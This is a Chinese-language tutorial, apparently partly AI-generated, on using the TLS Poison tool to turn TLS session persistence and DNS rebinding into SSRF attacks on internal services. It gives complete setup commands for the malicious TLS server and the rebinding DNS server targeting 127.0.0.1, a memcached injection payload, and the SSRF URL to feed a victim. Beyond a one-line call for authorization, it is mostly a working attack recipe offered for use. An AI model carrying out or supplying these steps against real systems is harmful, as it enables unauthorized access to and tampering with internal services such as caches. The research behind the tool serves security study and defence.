当前位置: 首页 > news >正文

终极指南:如何使用TLS Poison实现通用TLS SSRF攻击

终极指南:如何使用TLS Poison实现通用TLS SSRF攻击

【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison

TLS Poison是一款强大的工具,它允许通过TLS实现通用的SSRF攻击,以及在大多数浏览器中通过图像标签实现CSRF攻击。其目标与SNI注入类似,但这种新方法利用了TLS的固有行为,而非依赖特定实现中的漏洞。

🚀 什么是TLS Poison?

TLS Poison最初在Blackhat USA 2020和DEF CON Safemode上被提出,它主要基于rustls和dns-mitm项目开发,通过TLS会话持久性来实现攻击。

💡 攻击原理

TLS Poison的核心原理是利用TLS的会话持久性和DNS重绑定技术。当目标系统发起HTTPS请求时,TLS Poison会先建立一个正常的TLS连接,然后通过DNS重绑定将域名解析到内部服务,同时复用之前建立的TLS会话,从而将恶意 payload 发送到内部服务。

📋 准备工作

在开始使用TLS Poison之前,你需要准备以下环境:

  • 一个可以设置NS记录的域名
  • 两台公共服务器(分别用于TLS服务器和DNS重绑定服务器)
  • 基本的Linux命令行操作能力

🔧 安装步骤

1. 克隆仓库

首先,克隆TLS Poison仓库到你的服务器:

git clone https://link.gitcode.com/i/c027f894212a1861ac69affcc460acca.git

2. 部署TLS服务器

TLS服务器需要部署在公共网络上,最终DNS重绑定服务器会将域名解析到这里。

# 安装依赖 sudo apt install git redis # 安装Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # 编译 cargo build # 测试服务器 target/debug/custom-tls -p 8443 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http

在另一个终端中验证设置:

curl -kv https://localhost:8443

3. 部署DNS重绑定服务器

DNS重绑定服务器也需要部署在公共网络上,建议与TLS服务器分开部署。

sudo apt install python3 python3-pip cd TLS-poison/client-hello-poisoning/custom-dns pip3 install -r requirements.txt # 启动DNS重绑定服务器 # $DOMAIN: 你拥有的域名 # $TARGET_IP: 目标内部服务IP,通常是127.0.0.1 # $INITIAL_IP: TLS服务器的IP sudo python3 alternate-dns.py $DOMAIN,$TARGET_IP -b 0.0.0.0 -t $INITIAL_IP -d 8.8.8.8

如果遇到"OSError: address already in use"错误,可以停止systemd-resolved服务:

sudo systemctl stop systemd-resolved

验证DNS重绑定是否正常工作:

dig @localhost $DOMAIN

4. 设置NS记录和证书

你需要设置NS记录和胶水记录,使DNS请求指向你的重绑定服务器。例如,如果你的域是example.com,应添加:

dns.example.com A 300 <DNS_IP> tlstest.example.com NS 300 dns.example.com

然后获取TLS证书:

# 使用certbot获取证书 # 参考certbot DNS instructions完成DNS挑战 # 重新启动TLS服务器 target/debug/custom-tls -p 8443 --verbose --certs letsencrypt-cert.fullchain --key letsencrypt-key.rsa http

🎯 实施攻击

针对Memcached的攻击示例

  1. 设置攻击 payload:
redis-cli 127.0.0.1:6379> set payload "\r\nset foo 0 0 14\r\nim in ur cache \r" Ctrl+c
  1. 启动TLS服务器,监听Memcached端口(11211):
target/debug/custom-tls -p 11211 --verbose --certs ../../rustls/test-ca/rsa/end.fullchain --key ../../rustls/test-ca/rsa/end.rsa http
  1. 使用以下URL作为SSRF payload:
https://tlstest.example.com:11211

⚠️ 注意事项

  • 攻击前确保获得合法授权
  • 不同软件对TLS会话持久性的处理不同,可能需要调整sleep参数
  • 对于Chrome等浏览器,sleep时间可能需要设置得较短
  • 如果遇到重定向次数限制,可以增加sleep时间至59000ms或更长

📚 相关资源

  • 项目源码:TLS-poison
  • TLS服务器代码:client-hello-poisoning/custom-tls/src/main.rs
  • DNS重绑定服务器代码:client-hello-poisoning/custom-dns/alternate-dns.py

通过本指南,你应该能够理解并使用TLS Poison工具来实现通用的TLS SSRF攻击。记住,网络安全工具应仅用于合法的安全测试和研究目的。

【免费下载链接】TLS-poison项目地址: https://gitcode.com/gh_mirrors/tl/TLS-poison

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

http://www.jsqmd.com/news/1274868/

相关文章:

  • Joinery未来发展路线图:即将推出的令人兴奋的新功能
  • Dataflow kit:终极Web Scraping框架,5分钟上手提取结构化数据
  • 廊坊卖黄金怕踩雷?持证回收门店实测:称重计价全程公开透明可录像 - 行行星
  • Jellium Desktop用户管理教程:管理用户
  • PHP健康饮食推荐系统毕业设计实战:从架构到答辩全流程指南
  • WaveVision 5数据采集板USB驱动升级指南:从Cypress到WinUSB
  • TI阻抗跟踪电量计全流程设计:从ChemID匹配到量产校准实战指南
  • 2026 免费投票工具横评:四款微信小程序的实测对比
  • XXMI启动器终极指南:5分钟搞定6款热门游戏模组管理
  • 终极指南:3步免费解锁WeMod专业版完整功能的完整方案
  • Unity后处理特效Kino/Streak:实现动态镜头光晕与条纹拖尾效果
  • 10个你必须知道的nve高级用法:提升Node.js版本管理效率的秘密武器
  • QT6模型视图架构深度解析:从QStandardItemModel到自定义模型实战
  • BQ78350-R1A BMS芯片实战:从CEDV电量计到多层保护配置
  • 网页排版不再头疼:Typecsset的魔法数字如何确保文本元素对齐基线
  • 甘南市各区县黄金回收攻略 黄金奢品高价回收安排上 - 新芸鼎珠宝首饰
  • XJoy深度解析:Windows平台Joy-Con模拟Xbox手柄的完整技术方案
  • LMK05028 DPLL1参考时钟配置:从寄存器解析到无缝切换实战
  • Pixelle-Video:AI全自动短视频引擎深度技术解析与实战指南
  • LM122精密定时器高级应用:从温度控制到开关电源的工程实践
  • 2026深圳铜艺屏风定制观察:选择厂商前应核实的五个客观指标 - 资讯快报
  • 【AI智能体底层逻辑解密】:20年架构师亲授——从Agent定义到多模态协同的5大认知跃迁
  • Google Zero时代:SEO流量协议失效与网站技术架构重构策略
  • Tempo模板引擎常见问题解答:新手必知的15个技巧
  • 革命性开源笔记工具DailyNotes:如何用Markdown打造高效个人知识库
  • 免费Mac桌面歌词悬浮窗:LyricsX 2.0终极使用指南 [特殊字符]
  • Zotero OCR 0.8.0新特性详解:正常附件模式与性能优化全解析
  • 基于FCOS和HRNetV2的染色体核型智能分析系统
  • AI写作变现全流程图谱(从零训练到稳定现金流):217个付费案例验证的4个关键跃迁点
  • BQ27Z746电量计底层配置:AltManufacturerAccess与Data Flash实战指南